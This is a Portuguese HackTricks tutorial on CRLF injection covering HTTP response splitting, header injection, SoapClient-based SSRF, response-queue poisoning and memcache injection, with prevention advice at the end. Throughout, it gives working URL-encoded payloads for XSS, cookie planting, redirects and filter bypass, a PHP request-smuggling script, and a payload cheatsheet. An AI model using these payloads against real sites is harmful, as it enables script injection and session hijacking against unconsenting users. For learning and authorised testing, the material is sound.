# CRLF (%0D%0A) Injection {% hint style="success" %} Aprenda e pratique Hacking na AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** šŸ’¬ [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** šŸ¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositĆ³rios do github.
{% endhint %}
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nĆ³s em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de atĆ© **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ### CRLF Carriage Return (CR) e Line Feed (LF), coletivamente conhecidos como CRLF, sĆ£o sequĆŖncias de caracteres especiais usadas no protocolo HTTP para denotar o fim de uma linha ou o inĆ­cio de uma nova. Servidores web e navegadores usam CRLF para distinguir entre cabeƧalhos HTTP e o corpo de uma resposta. Esses caracteres sĆ£o universalmente empregados em comunicaƧƵes HTTP/1.1 em vĆ”rios tipos de servidores web, como Apache e Microsoft IIS. ### Vulnerabilidade de InjeĆ§Ć£o CRLF A injeĆ§Ć£o CRLF envolve a inserĆ§Ć£o de caracteres CR e LF em entradas fornecidas pelo usuĆ”rio. Essa aĆ§Ć£o engana o servidor, aplicativo ou usuĆ”rio, fazendo com que interpretem a sequĆŖncia injetada como o fim de uma resposta e o inĆ­cio de outra. Embora esses caracteres nĆ£o sejam inerentemente prejudiciais, seu uso indevido pode levar Ć  divisĆ£o de resposta HTTP e outras atividades maliciosas. ### Exemplo: InjeĆ§Ć£o CRLF em um Arquivo de Log [Exemplo daqui](https://www.invicti.com/blog/web-security/crlf-http-header/) Considere um arquivo de log em um painel de administraĆ§Ć£o que segue o formato: `IP - Hora - Caminho Visitado`. Uma entrada tĆ­pica pode parecer: ``` 123.123.123.123 - 08:15 - /index.php?page=home ``` Um atacante pode explorar uma injeĆ§Ć£o CRLF para manipular este log. Ao injetar caracteres CRLF na solicitaĆ§Ć£o HTTP, o atacante pode alterar o fluxo de saĆ­da e fabricar entradas de log. Por exemplo, uma sequĆŖncia injetada pode transformar a entrada do log em: ``` /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` Aqui, `%0d` e `%0a` representam as formas codificadas em URL de CR e LF. ApĆ³s o ataque, o log exibiria de forma enganosa: ``` IP - Time - Visited Path 123.123.123.123 - 08:15 - /index.php?page=home& 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` O atacante, assim, encobre suas atividades maliciosas fazendo parecer que o localhost (uma entidade tipicamente confiĆ”vel dentro do ambiente do servidor) realizou as aƧƵes. O servidor interpreta a parte da consulta que comeƧa com `%0d%0a` como um Ćŗnico parĆ¢metro, enquanto o parĆ¢metro `restrictedaction` Ć© analisado como outra entrada separada. A consulta manipulada efetivamente imita um comando administrativo legĆ­timo: `/index.php?page=home&restrictedaction=edit` ### HTTP Response Splitting #### DescriĆ§Ć£o HTTP Response Splitting Ć© uma vulnerabilidade de seguranƧa que surge quando um atacante explora a estrutura das respostas HTTP. Essa estrutura separa os cabeƧalhos do corpo usando uma sequĆŖncia de caracteres especĆ­fica, Carriage Return (CR) seguido por Line Feed (LF), coletivamente chamados de CRLF. Se um atacante conseguir inserir uma sequĆŖncia CRLF em um cabeƧalho de resposta, ele pode efetivamente manipular o conteĆŗdo da resposta subsequente. Esse tipo de manipulaĆ§Ć£o pode levar a sĆ©rios problemas de seguranƧa, notavelmente Cross-site Scripting (XSS). #### XSS atravĆ©s de HTTP Response Splitting 1. A aplicaĆ§Ć£o define um cabeƧalho personalizado assim: `X-Custom-Header: UserInput` 2. A aplicaĆ§Ć£o busca o valor para `UserInput` de um parĆ¢metro de consulta, digamos "user\_input". Em cenĆ”rios que carecem de validaĆ§Ć£o e codificaĆ§Ć£o adequadas de entrada, um atacante pode criar um payload que inclui a sequĆŖncia CRLF, seguida de conteĆŗdo malicioso. 3. Um atacante cria uma URL com um 'user\_input' especialmente elaborado: `?user_input=Value%0d%0a%0d%0a` * Nesta URL, `%0d%0a%0d%0a` Ć© a forma codificada em URL de CRLFCRLF. Isso engana o servidor para inserir uma sequĆŖncia CRLF, fazendo com que o servidor trate a parte subsequente como o corpo da resposta. 4. O servidor reflete a entrada do atacante no cabeƧalho da resposta, levando a uma estrutura de resposta nĆ£o intencional onde o script malicioso Ć© interpretado pelo navegador como parte do corpo da resposta. #### Um exemplo de HTTP Response Splitting levando a Redirecionamento De [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62) Navegador para: ``` /%0d%0aLocation:%20http://myweb.com ``` E o servidor responde com o cabeƧalho: ``` Location: http://myweb.com ``` **Outro exemplo: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)** ``` http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E ``` #### No Caminho da URL VocĆŖ pode enviar o payload **dentro do caminho da URL** para controlar a **resposta** do servidor (exemplo de [aqui](https://hackerone.com/reports/192667)): ``` http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` Confira mais exemplos em: {% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} ### InjeĆ§Ć£o de CabeƧalho HTTP A InjeĆ§Ć£o de CabeƧalho HTTP, frequentemente explorada atravĆ©s da injeĆ§Ć£o CRLF (Carriage Return e Line Feed), permite que atacantes insiram cabeƧalhos HTTP. Isso pode comprometer mecanismos de seguranƧa, como filtros XSS (Cross-Site Scripting) ou o SOP (Same-Origin Policy), potencialmente levando ao acesso nĆ£o autorizado a dados sensĆ­veis, como tokens CSRF, ou Ć  manipulaĆ§Ć£o de sessƵes de usuĆ”rio atravĆ©s do plantio de cookies. #### Explorando CORS via InjeĆ§Ć£o de CabeƧalho HTTP Um atacante pode injetar cabeƧalhos HTTP para habilitar CORS (Cross-Origin Resource Sharing), contornando as restriƧƵes impostas pelo SOP. Essa violaĆ§Ć£o permite que scripts de origens maliciosas interajam com recursos de uma origem diferente, potencialmente acessando dados protegidos. #### SSRF e InjeĆ§Ć£o de RequisiĆ§Ć£o HTTP via CRLF A injeĆ§Ć£o CRLF pode ser utilizada para criar e injetar uma nova requisiĆ§Ć£o HTTP. Um exemplo notĆ”vel disso Ć© a vulnerabilidade na classe `SoapClient` do PHP, especificamente dentro do parĆ¢metro `user_agent`. Ao manipular esse parĆ¢metro, um atacante pode inserir cabeƧalhos adicionais e conteĆŗdo do corpo, ou atĆ© mesmo injetar uma nova requisiĆ§Ć£o HTTP completamente. Abaixo estĆ” um exemplo em PHP demonstrando essa exploraĆ§Ć£o: ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; $crlf = array( 'POST /proxy HTTP/1.1', 'Host: local.host.htb', 'Cookie: PHPSESSID=[PHPSESSID]', 'Content-Type: application/x-www-form-urlencoded', 'Content-Length: '.(string)strlen($post_string), "\r\n", $post_string ); $client = new SoapClient(null, array( 'uri'=>$target, 'location'=>$target, 'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf) ) ); # Put a netcat listener on port 9090 $client->__soapCall("test", []); ``` ### InjeĆ§Ć£o de CabeƧalho para Furtos de RequisiĆ§Ć£o Para mais informaƧƵes sobre esta tĆ©cnica e problemas potenciais [**verifique a fonte original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning). VocĆŖ pode injetar cabeƧalhos essenciais para garantir que o **back-end mantenha a conexĆ£o aberta** apĆ³s responder Ć  requisiĆ§Ć£o inicial: ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` Depois, uma segunda solicitaĆ§Ć£o pode ser especificada. Este cenĆ”rio geralmente envolve [HTTP request smuggling](http-request-smuggling/), uma tĆ©cnica onde cabeƧalhos ou elementos de corpo extras adicionados pelo servidor apĆ³s a injeĆ§Ć£o podem levar a vĆ”rias exploraƧƵes de seguranƧa. **ExploraĆ§Ć£o:** 1. **InjeĆ§Ć£o de Prefixo Malicioso**: Este mĆ©todo envolve envenenar a solicitaĆ§Ć£o do prĆ³ximo usuĆ”rio ou um cache da web especificando um prefixo malicioso. Um exemplo disso Ć©: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1` 2. **Criando um Prefixo para Envenenamento da Fila de Respostas**: Esta abordagem envolve criar um prefixo que, quando combinado com lixo no final, forma uma segunda solicitaĆ§Ć£o completa. Isso pode acionar o envenenamento da fila de respostas. Um exemplo Ć©: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` ### InjeĆ§Ć£o de Memcache Memcache Ć© um **armazenamento de chave-valor que usa um protocolo de texto claro**. Mais informaƧƵes em: {% content-ref url="../network-services-pentesting/11211-memcache/" %} [11211-memcache](../network-services-pentesting/11211-memcache/) {% endcontent-ref %} **Para informaƧƵes completas, leia o**[ **artigo original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) Se uma plataforma estiver **pegando dados de uma solicitaĆ§Ć£o HTTP e usando-os sem sanitizaĆ§Ć£o** para realizar **solicitaƧƵes** a um servidor **memcache**, um atacante poderia abusar desse comportamento para **injetar novos comandos memcache**. Por exemplo, na vulnerabilidade descoberta originalmente, chaves de cache foram usadas para retornar o IP e a porta que um usuĆ”rio deveria conectar, e os atacantes conseguiram **injetar comandos memcache** que **envenenariam** o **cache para enviar os detalhes das vĆ­timas** (nomes de usuĆ”rio e senhas incluĆ­dos) para os servidores do atacante:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
AlĆ©m disso, os pesquisadores tambĆ©m descobriram que poderiam desincronizar as respostas do memcache para enviar o IP e as portas dos atacantes para usuĆ”rios cujo e-mail o atacante nĆ£o conhecia:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
### Como Prevenir InjeƧƵes CRLF / HTTP Header em AplicaƧƵes Web Para mitigar os riscos de injeƧƵes CRLF (Carriage Return e Line Feed) ou injeƧƵes de cabeƧalho HTTP em aplicaƧƵes web, as seguintes estratĆ©gias sĆ£o recomendadas: 1. **Evitar Entrada Direta do UsuĆ”rio em CabeƧalhos de Resposta:** A abordagem mais segura Ć© evitar incorporar a entrada fornecida pelo usuĆ”rio diretamente nos cabeƧalhos de resposta. 2. **Codificar Caracteres Especiais:** Se evitar a entrada direta do usuĆ”rio nĆ£o for viĆ”vel, certifique-se de empregar uma funĆ§Ć£o dedicada Ć  codificaĆ§Ć£o de caracteres especiais como CR (Carriage Return) e LF (Line Feed). Esta prĆ”tica previne a possibilidade de injeĆ§Ć£o CRLF. 3. **Atualizar Linguagem de ProgramaĆ§Ć£o:** Atualize regularmente a linguagem de programaĆ§Ć£o usada em suas aplicaƧƵes web para a versĆ£o mais recente. Opte por uma versĆ£o que inherentemente nĆ£o permita a injeĆ§Ć£o de caracteres CR e LF dentro das funƧƵes encarregadas de definir cabeƧalhos HTTP. ### CHEATSHEET [Cheatsheet from here](https://twitter.com/NinadMishra5/status/1650080604174667777) ``` 1. HTTP Response Splitting ā€¢ /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie) 2. CRLF chained with Open Redirect ā€¢ //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2 ā€¢ /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2 ā€¢ /google.com/%2F..%0D%0AHeader-Test:test2 ā€¢ /%0d%0aLocation:%20http://example.com 3. CRLF Injection to XSS ā€¢ /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23 ā€¢ /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E 4. Filter Bypass ā€¢ %E5%98%8A = %0A = \u560a ā€¢ %E5%98%8D = %0D = \u560d ā€¢ %E5%98%BE = %3E = \u563e (>) ā€¢ %E5%98%BC = %3C = \u563c (<) ā€¢ Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test ``` ## Ferramentas AutomĆ”ticas * [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) * [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz) ## Lista de DetecĆ§Ć£o de ForƧa Bruta * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt) ## ReferĆŖncias * [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/) * [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/) * [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) * [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma **plataforma de bug bounty premium criada por hackers, para hackers**! Junte-se a nĆ³s em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de atĆ© **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** šŸ’¬ [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** šŸ¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositĆ³rios do github.
{% endhint %}